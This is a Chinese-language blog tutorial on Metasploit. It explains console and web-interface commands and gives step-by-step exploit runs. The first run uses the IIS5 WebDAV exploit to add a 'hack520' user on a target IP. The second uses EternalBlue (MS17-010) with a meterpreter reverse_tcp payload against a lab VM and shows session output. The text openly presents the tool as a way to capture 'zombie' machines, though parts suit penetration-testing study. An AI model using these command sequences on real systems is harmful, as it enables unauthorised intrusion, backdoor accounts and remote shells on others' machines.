溢出工具包 Metasploit使用教程

本文介绍了如何使用Metasploit进行漏洞利用和渗透测试,包括安装、命令行使用方法、图形界面操作、实战演示以及如何查找和利用exploit与payloads。Metasploit是一个强大的工具包,集成了大量exploit和payloads,适用于寻找和利用系统漏洞。通过本文的学习,读者可以掌握使用Metasploit的基本技能,并在实际渗透测试中应用。

Metasploit 是个好东西,实在想不到别的办法了,或许这东西能帮你一下,Metasploit包含了众多exploit,说不准还能用上几个,搞几台好肉鸡. 
下载Metasploit双击进行安装,非常简单,一路回车就行了。安装完之后看下安装目录下的Msfconsole.bat和msfweb.bat,第一个是命令下的控制台。第二个是图形界面下的程序。现在我们先来看下命令行下的使用方法,运行后我们看到的是metasploit的欢迎界面,输入“?”查看帮助,
如图1

看到很多命令吧,我们来解释一下 
“?” 帮助 
“cd” :这个命令大家都熟悉,和WIN下面一样,切换目录 
“exit” 这个就是退出的意思 
“info”显示当前程序信息 
“quit”退出程序 
“reload”加载exploit和payloads 
“save”保存设置 
“setg”设置一个环境变量 
“show”显示当前可用的exploit 
“ use”选择一个exp 
“version”显示程序版本 
这么多命令看起来肯定有些晕了吧其实用到的就"show" "info" "use"这3个,我们来看看是怎么使用的 
这个程序就是一个大的工具包,集成了N多EXPLOIT,我们可以用show exploits看看有哪些exploit程序,如图2

看到了吧?这么多溢出程序,想用哪个就用哪个,省得整天找。这么多的东西该怎么用呢??比如我想用一个溢出程序,肯定得先看他的帮助了解使用方法。这就得用到info命令啦。这个命令就是显示溢出程序的详细信息,比如我们想看下iis50_webdav_ntdll这个溢出程序的用法,就在命令行下输入info exploit iis50_webdav_ntdll,就会看到图3所示

这里只是查看Exploit的信息,我们还可查看shellcode的信息。在这个工具包中,可以定义自己需要的shellcode.在命令行下输入"show payloads"可以看到可用的shellcode列表,如图4
左边是名字,右边是说明。我们可以用info命令查看shellcode的具体信息,输入命令info payload cmd_generic如图5 
这里要注意的只是required和options,这里required表示必选 options 表示可选可不选,以linux开头的就是针对linux系统的shellcode,以CMD和WIN开头的就是针对所有WIN系统。在溢出过程中一定要选对应的SHELLCODE才能成功。 
好,现在我们来看实战一下,我们拿webdav的溢出程序做例子,在命令中输入use iis50_webdav_ntdll,然后再输入show options 查看要输入的内容,如图6
然后我们在命令行下输入set rhost 192.168.1.223 set rhost 80 如图7
到这里了,得指定shellcode,输入以下命令:set payload winexec输完了按回车然后再输入set cmd net user hack520 /add 如图8
好了现在可以向192.168.1.223发起进攻了,输入show targets 可以看到操作系统的代号,大家都知道webdav走针对2000系统,输入 set targets 0 如图9
没有什么问题了就输入Exploit。如果对方服务器存在这个漏洞话就会得到shell了
Metasploit下载:

图形界面下使用Metasploit
     Metasploit图形界面的使用方法和命令行下没有太大的区别,只不过是操作方式的不同罢了:到Metasploit的安装目录下找到Msfweb.bat文件双击运行,一会后程序提示执行成功,如图10所示:



图10

然后打开IE,在地址栏中输入 http://127.0.0.1:55555等一会后看到图11所示的IE窗口:



图11

在想要使用的溢出工具包上单击鼠标左键后进入到基本设置窗口,我们仍然以iis50_webdav_ntdll为例,如图12所示:



图12

单击“select payload”选项进入Payload选择界面,如图13所示:


图13
选择合适的Payload后就进入基本信息的设定界面了,如图14所示:



图14

这里的设置和命令行中介绍的是基本一致的,我就不做额外的说明了。都设定好后,你可以点Vulnerability Check检查看看目标系统有没有相应的漏洞,或者点Launch Exploit进行攻击!
从上面的操作可以看出Metasploit的使用方法是非常简单的,而且功能也是很强大的,对于我们日常的渗透来说是一款很实用的工具。当然,你也许并不满足于软件自带的这些溢出工具,你完全可以自己向这个工具中添加任何你认为对你有用的溢出工具包。相信随着大家的努力,这个工具包可以更加完善!


刚开始接触,感觉怪神秘,经上面的文章一介绍,似乎很简单。
不过上面介绍的或许只是冰山一角吧
至少: http://www.honkwin.com/show/1606.html 里面的代码似乎也是通过metasploit利用的

### 1. 部署存在ms - 17010漏洞的Windows虚拟机环境 #### 使用VMWare部署 - **下载镜像**:获取存在ms - 17010漏洞的Windows操作系统镜像,如Windows Server 2008 R2、Windows 7等,且确保未安装针对该漏洞的补丁。 - **创建虚拟机**:打开VMWare Workstation,选择创建新虚拟机,按照向导步骤选择下载好的镜像文件,分配适当的内存、磁盘空间等资源。 - **安装系统**:启动虚拟机,按照Windows系统安装向导完成系统安装。安装过程中不要联网更新系统,以保留ms - 17010漏洞。 #### 使用KVM部署 - **安装KVM及相关工具**:在Linux系统上,使用以下命令安装KVM及相关工具: ```bash sudo apt-get install qemu-kvm libvirt-daemon-system libvirt-clients bridge-utils virt-manager ``` - **创建虚拟机**:使用`virt-manager`或`virt-install`命令创建虚拟机。以下是使用`virt-install`的示例: ```bash virt-install --name win7 --ram 2048 --vcpus 2 --disk path=/var/lib/libvirt/images/win7.qcow2,size=20 --cdrom /path/to/windows.iso --os-type windows --os-variant win7 ``` - **安装系统**:启动虚拟机,完成Windows系统安装,同样避免联网更新。 ### 2. 利用Metasploit Framework进行溢出攻击 #### 启动MetasploitLinux系统上,打开终端,输入以下命令启动Metasploit: ```bash msfconsole ``` #### 配置攻击模块 在Metasploit控制台中,使用以下命令搜索并选择ms - 17010漏洞的攻击模块: ```plaintext search ms17_010 use exploit/windows/smb/ms17_010_eternalblue ``` #### 配置目标信息 设置目标虚拟机的IP地址: ```plaintext set RHOSTS <target_ip> ``` #### 配置有效载荷 选择合适的有效载荷,例如: ```plaintext set PAYLOAD windows/x64/meterpreter/reverse_tcp ``` #### 设置本地监听地址和端口 ```plaintext set LHOST <your_local_ip> set LPORT 4444 ``` #### 执行攻击 在配置好所有参数后,输入以下命令执行攻击: ```plaintext exploit ``` ### 3. 验证攻击是否成功 #### Meterpreter会话 如果攻击成功,会建立一个Meterpreter会话。可以在Metasploit控制台中看到类似以下的提示: ```plaintext [*] Sending stage (200774 bytes) to <target_ip> [*] Meterpreter session 1 opened (<your_local_ip>:4444 -> <target_ip>:<random_port>) at <timestamp> ``` #### 执行命令验证 在Meterpreter会话中,可以执行一些命令来验证攻击是否成功,例如查看目标系统的信息: ```plaintext sysinfo ```
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值